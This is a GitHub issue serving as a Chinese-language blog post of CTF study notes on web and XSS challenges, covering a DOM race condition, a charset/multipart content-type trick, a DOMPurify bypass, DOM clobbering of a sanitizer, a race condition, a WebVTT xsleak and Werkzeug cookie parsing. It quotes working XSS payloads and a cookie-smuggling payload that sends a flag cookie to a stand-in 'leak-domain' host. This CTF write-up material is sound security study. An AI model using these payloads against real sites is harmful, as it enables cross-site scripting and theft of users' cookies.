Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

一堆來不及做的 web 與 XSS 題目 #147

Open
aszx87410 opened this issue Jun 1, 2024 · 0 comments
Open

一堆來不及做的 web 與 XSS 題目 #147

aszx87410 opened this issue Jun 1, 2024 · 0 comments
Labels
Security Security

Comments

@aszx87410
Copy link
Owner

因為最近有點忙的關係,這兩三個月比較少打 CTF 了,但還是會在推特上看到一些有趣的題目。雖然沒時間打,但筆記還是要記的,沒記的話下次看到鐵定還是做不出來。

這篇主要記一些網頁前端相關的題目,由於自己可能沒有實際下去解題,所以內容都是參考別人的筆記之後再記錄一些心得。

關鍵字列表:

  1. copy paste XSS
  2. connection pool
  3. content type UTF16
  4. multipart/mixed
  5. Chrome DevTools Protocol
  6. new headless mode default download
  7. Scroll to Text Fragment (STTF)
  8. webVTT cue xsleak
  9. flask/werkzeug cookie parsing quirks

DOM-based race condition

來源:https://twitter.com/ryotkak/status/1710291366654181749

題目很簡單,就給你一個可編輯的 div 加上 Angular,允許任何的 user interaction,要做到 XSS。

<div contenteditable></div>
<script src="https://angular-no-http3.ryotak.net/angular.min.js"></script>

當初看到題目的時候有猜到應該跟 copy paste 有關,解答中有提到說在 <div contenteditable></div> 貼上內容時,是可以貼上 HTML 的。雖然瀏覽器後來有做 sanitizer,但並不會針對自訂的屬性。

也就是說,如果搭配其他 gadget 的話,還是有機會做到 XSS。

例如說作者的文章中提到的這個 pattern,因為有 AngularJS 的關係所以會執行程式碼:

<html ng-app>
  <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
  <div ng-init="constructor.constructor('alert(1)')()"></div>
</html>

但問題是使用者在貼入 payload 的時候,AngularJS 已經載入完畢了。載入完成的時候如果 payload 還不存在,那就不會被執行,所以需要延長 AngularJS 載入的時間。

最後作者是用 connection pool 來解決這問題的,就是把 pool 塞爆,就可以延長 script 的載入時間,在載入完成以前貼好 payload。

作者 writeup:https://blog.ryotak.net/post/dom-based-race-condition/

罕見的 Content-type 與 UTF16

來源:https://twitter.com/avlidienbrunn/status/1703805922043220273

題目如下:

<?php
/*
FROM php:7.0-apache

RUN a2dismod status

COPY ./files/index.php /var/www/html
COPY ./files/harder.php /var/www/html
EXPOSE 80

*/
$message = isset($_GET['message']) ? $_GET['message'] : 'hello, world';
$type = isset($_GET['type']) ? $_GET['type'] : die(highlight_file(__FILE__));
header("Content-Type: text/$type");
header("X-Frame-Options: DENY");

if($type == "plain"){
    die("the message is: $message");
}

?>
<html>
<h1>The message is:</h1>
<hr/>
<pre>
    <input type="text" value="<?php echo preg_replace('/([^\s\w!-~]|")/','',$message);?>">
</pre>
<br>
solved by:
<li> nobody yet!</li>
</html>

可以控制部分內容以及部分 content type,該怎麼做到 XSS?

第一招是讓 content type 為 text/html; charset=UTF-16LE,就可以讓瀏覽器把頁面解讀為 UTF16,控制輸出內容。

這招讓我想到了 UIUCTF 2022 中的 modernism 那題。

第二招是先運用 content type header 的特性,當 response header 是 Content-Type: text/x,image/gif 時,因為 text/x 是非法的 content type,所以瀏覽器會優先看合法的 image/gif

也就是說,儘管 content type 的前半段是寫死的,依然可以利用這個技巧覆蓋掉完整的 content type。而有一個古老的 content type 叫做 multipart/mixed,像是 response 版的 multipart/form,可以輸出像這樣的 response:

HTTP/1.1 200 OK
Content-type: multipart/mixed;boundary="8ormorebytes"


ignored_first_part_before_boundary

--8ormorebytes
Content-Type: text/html

<img src=x onerror=alert(domain)>

--8ormorebytes

ignored_last_part

瀏覽器會挑自己看得懂的部分去 render,而 Firefox 有支援這個 content type。

話說這個 content type 還可以拿來繞過 CSP,可以參考這個連結:https://twitter.com/ankursundara/status/1723410507389129092

Intigriti October 2023 challenge

題目:https://challenge-1023.intigriti.io/

在後端有個注入點:

<title>Intigriti XSS Challenge - <%- title %></title>

這個 title 來自於:

const getTitle = (path) => {
    path = decodeURIComponent(path).split("/");
    path = path.slice(-1).toString();
    return DOMPurify.sanitize(path);
}

雖然說是 DOMPurify,看似不可繞過,但其實用 <div id="</title><h1>hello</h1>"> 可以閉合前面的 <title>,就可以注入任意 tag。

但這題的 input 是來自於 path,所以要把一些 / 弄掉,這邊最後是利用 innerHTML 會把屬性 decode 的特性,用 &sol; 來取代 /,最後湊出這樣的 payload:

/<p id="<%26sol%3Btitle><script>alert()<%26sol%3Bscript>">

這題的目標是要讀本地檔案,所以 XSS 是不夠的,下一步要想辦法從 XSS 繼續往下延伸。

這題的 flag 有 --disable-web-security,SOP 被關掉了,可以讀到其他來源的 response,而 CDP 有 origin 的限制沒辦法完全使用,但有部分功能可以,例如說開啟一個新網頁之類的。

但因為檔案在本地,所以只有 file:/// 開頭的檔案可以讀到其他本地檔案,因此目標就變成要想辦法在本地弄出一個檔案。

解法是在新的 headless mode 中,下載功能是預設開啟的,所以只要觸發下載以後,就會把檔案存到固定規則的位置,用 CDP 打開以後即可。

作者 writeup:https://mizu.re/post/intigriti-october-2023-xss-challenge

DOM clobbering

來源:https://twitter.com/kevin_mizu/status/1697625861543923906

題目是一個自製的 sanitizer:

class Sanitizer {
    // https://source.chromium.org/chromium/chromium/src/+/main:out/android-Debug/gen/third_party/blink/renderer/modules/sanitizer_api/builtins/sanitizer_builtins.cc;l=360
    DEFAULT_TAGS  = [ /* ... */ ];

    constructor(config={}) {
        this.version = "2.0.0";
        this.creator = "@kevin_mizu";
        this.ALLOWED_TAGS = config.ALLOWED_TAGS
            ? config.ALLOWED_TAGS.concat([ "html", "head", "body" ]).filter(tag => this.DEFAULT_TAGS.includes(tag))
            : this.DEFAULT_TAGS;
        this.ALLOWED_ATTS = config.ALLOWED_ATTS
            ? config.ALLOWED_ATTS.filter(attr => this.DEFAULT_ATTRS.includes(attr))
            : this.DEFAULT_ATTRS;
    }

    // https://github.com/cure53/DOMPurify/blob/48bd850cc20190e3896cb6291367c2da2ed2bddb/src/purify.js#L924
    _isClobbered = function (elm) {
        return (
            elm instanceof HTMLFormElement &&
            (typeof elm.nodeName !== 'string' ||
            typeof elm.textContent !== 'string' ||
            typeof elm.removeChild !== 'function' ||
            !(elm.attributes instanceof NamedNodeMap) ||
            typeof elm.removeAttribute !== 'function' ||
            typeof elm.setAttribute !== 'function' ||
            typeof elm.namespaceURI !== 'string' ||
            typeof elm.insertBefore !== 'function' ||
            typeof elm.hasChildNodes !== 'function')
        )
    }

    // https://github.com/cure53/DOMPurify/blob/48bd850cc20190e3896cb6291367c2da2ed2bddb/src/purify.js#L1028
    removeNode = (currentNode) => {
        const parentNode = currentNode.parentNode;
        const childNodes = currentNode.childNodes;

        if (childNodes && parentNode) {
            const childCount = childNodes.length;

            for (let i = childCount - 1; i >= 0; --i) {
                parentNode.insertBefore(
                    childNodes[i].cloneNode(),
                    currentNode.nextSibling
                );
            }
        }

        currentNode.parentElement.removeChild(currentNode);
    }

    sanitize = (input) => {
        let currentNode;
        var dom_tree = new DOMParser().parseFromString(input, "text/html");
        var nodeIterator = document.createNodeIterator(dom_tree);

        while ((currentNode = nodeIterator.nextNode())) {

            // avoid DOMClobbering
            if (this._isClobbered(currentNode) || typeof currentNode.nodeType !== "number") {
                this.removeNode(currentNode);
                continue;
            }

            switch(currentNode.nodeType) {
                case currentNode.ELEMENT_NODE:
                    var tag_name   = currentNode.nodeName.toLowerCase();
                    var attributes = currentNode.attributes;

                    // avoid mXSS
                    if (currentNode.namespaceURI !== "http://www.w3.org/1999/xhtml") {
                        this.removeNode(currentNode);
                        continue;

                    // sanitize tags
                    } else if (!this.ALLOWED_TAGS.includes(tag_name)){
                        this.removeNode(currentNode);
                        continue;
                    }

                    // sanitize attributes
                    for (let i=0; i < attributes.length; i++) {
                        if (!this.ALLOWED_ATTS.includes(attributes[i].name)){
                            this.removeNode(currentNode);
                            continue;
                        }
                    }
            }
        }

        return dom_tree.body.innerHTML;
    }
}

內容有參考許多其他的 sanitizer library,像是 DOMPurify 等等。

這題的關鍵是以往對於 form 的 DOM clobber,都是像這樣:

<form id="test">
    <input name=x>
</form>

理所當然地把元素放在 form 裡面,就可以污染 test.x

但其實還有一招是使用 form 屬性,就可以把元素放在外面:

<input form=test name=x>
<form id="test"></form>

這一題的 sanitizer 在移除元素時,是這樣做的:

removeNode = (currentNode) => {
    const parentNode = currentNode.parentNode;
    const childNodes = currentNode.childNodes;

    if (childNodes && parentNode) {
        const childCount = childNodes.length;

        for (let i = childCount - 1; i >= 0; --i) {
            parentNode.insertBefore(
                childNodes[i].cloneNode(),
                currentNode.nextSibling
            );
        }
    }

    currentNode.parentElement.removeChild(currentNode);
}

把要刪除的元素底下的 node,都插入到 parent 的 nextSibling 去。

因此,如果 clobber 了 nextSibling,製造出這樣的結構:

<input form=test name=nextSibling> 
<form id=test>
  <input name=nodeName>
  <img src=x onerror=alert(1)>
</form>

就會在移除 <form> 時,把底下的節點都插入到 <input form=test name=nextSibling> 後面,藉此繞過 sanitizer。

真有趣的題目!雖然知道有 form 這個屬性,但還沒想過可以拿來搭配 DOM clobbering。

作者的 writeup:https://twitter.com/kevin_mizu/status/1701922141791211776

LakeCTF 2023 GeoGuessy

來源是參考這篇 writeup:XSS, Race Condition, XS-Leaks and CSP & iframe's sandbox bypass - LakeCTF 2023 GeoGuessy

先來看兩個有趣的 unintended,第一個是利用 cookie 不看 port 的特性,用其他題目的 XSS 來拿到 cookie,不同題目之間如果沒有隔離好就會這樣,例如說 SekaiCTF 2023 - leakless note 也是。

第二個是寫 code 的 bad practice 造成的 race condition。

在訪問頁面時會去設定 user,這邊的 user 是 global variable:

router.get('/', async (req, res) => {
    user = await db.getUserBy("token", req.cookies?.token)
    if (user) {
         isPremium = user.isPremium
        username = user.username
        return res.render('home',{username, isPremium});
    } else {
        res.render('index');
    }
});

然後 update user 時也是用類似的模式,拿到 user 之後修改資料寫入:

router.post('/updateUser', async (req, res) => {
    token = req.cookies["token"]
    if (token) {
        user = await db.getUserBy("token", token)
        if (user) {
            enteredPremiumPin = req.body["premiumPin"]
            if (enteredPremiumPin == premiumPin) {
                user.isPremium = 1
            }
            // ...
            await db.updateUserByToken(token, user)
            return res.status(200).json('yes ok');
        }
    }
    return res.status(401).json('no');
});

admin bot 每次都會執行 updateUser,把 admin user 的 isPremium 設定成 1。

由於 user 是 global variable,db 的操作又是 async 的,所以如果速度夠快的話,updateUser 裡的 user 會是另一個 user,就可以把自己的 user 設定成 premium account。

intended 的話是用 Scroll to Text Fragment (STTF) 來解。

N1CTF - ytiruces

參考資料:

  1. https://dem0dem0.top/2023/10/20/n1ctf2023/
  2. https://nese.team/posts/n1ctf2023/

用 WebVTT,一個顯示字幕的格式搭配 CSS selector video::cue(v[voice^="n1"]) 來 xsleak。

https://developer.mozilla.org/en-US/docs/Web/CSS/::cue

真是有趣的 selector。

Werkzeug cookie parsing quirks

來源:Another HTML Renderer

這題又是來自於 @kevin_mizu,前面已經有介紹過兩題他出的題目了,而這題又是一個有趣的題目!

這題有一個 admin bot 會設定 cookie,裡面有 flag,所以目標就是偷到這個 cookie,而核心程式碼如下:

@app.route("/render")
def index():
    settings = ""
    try:
        settings = loads(request.cookies.get("settings"))
    except: pass

    if settings:
        res = make_response(render_template("index.html",
            backgroundColor=settings["backgroundColor"] if "backgroundColor" in settings else "#ffde8c",
            textColor=settings["textColor"] if "textColor" in settings else "#000000",
            html=settings["html"] if "html" in settings else ""
        ))
    else:
        res = make_response(render_template("index.html", backgroundColor="#ffde8c", textColor="#000000"))
        res.set_cookie("settings", "{}")

    return res

Python 這邊主要會根據 cookie 內的參數來 render 頁面,template 如下:

<iframe
  id="render"
  sandbox=""
  srcdoc="<style>* { text-align: center; }</style>{{html}}"
  width="70%"
  height="500px">
</iframe>

就算控制了 html,也只能在 sandbox iframe 裡面,不能執行程式碼,也不是 same origin。但以往如果要偷 cookie 的話,基本上都需要先有 same-origin 的 XSS 才行。

而前端的部分可以設定 cookie,但會過濾掉 html 這個字,所以不讓你設定 html:

const saveSettings = (settings) => {
    document.cookie = `settings=${settings}`;
}

const getSettings = (d) => {
    try {
        s = JSON.parse(d);
        delete s.html;
        return JSON.stringify(s);
    } catch {
        while (d != d.replaceAll("html", "")) {
            d = d.replaceAll("html", "");
        }
        return d;
    }
}

window.onload = () => {
    const params = (new URLSearchParams(window.location.search));
    if (params.get("settings")) {
        window.settings = getSettings(params.get("settings"));
        saveSettings(window.settings);
        renderSettings(window.settings);
    } else {
        window.settings = getCookie("settings");
    }
    window.settings = JSON.parse(window.settings);

那這題到底要怎麼解呢?這一切都與 werkzeug 解析 cookie 時的邏輯有關。

先來講如何繞過那個 html 的檢查,在 werkzeug 裡面如果你的 cookie value 是用 "" 包住的話,會先進行 decode,因此 "\150tml" 會被 decode 成 "html",就可以繞過對於 html 關鍵字的檢查。

但繞過之後,要怎麼拿到 flag 呢?這就要用到 werkzeug 第二個解析 cookie 的特殊之處了。當 werkzeug 在解析 cookie 時,如果碰到 " 時,就會解析到下一個 " 為止。

舉例來說,假設 cookie 的內容是這樣:

Cookie: cookie1="abc; cookie2=def";

最後得到的結果會是:"cookie1": "abc; cookie2=def"

也就是說,如果我們在 flag 的前後各夾一個 cookie,就可以讓 flag 包含在 html 裡面,讓 flag 的內容出現在 html 中,再用其他任何方式把 cookie 拿走,底下直接用作者的 payload:

Cookie: settings="{\"\150tml\": "<img src='https://leak-domain/?cookie= ;flag=GH{FAKE_FLAG}; settings='>\"}"

看完這題才突然想到以前 DiceCTF 2023 也出現過類似的題目,那時候是 jetty 有這個行為:Web - jnotes (6 solves),看來搞不好還不少 web framework 有這個 parsing 行為。

@aszx87410 aszx87410 added the Security Security label Jun 1, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Security Security
Projects
None yet
Development

No branches or pull requests

1 participant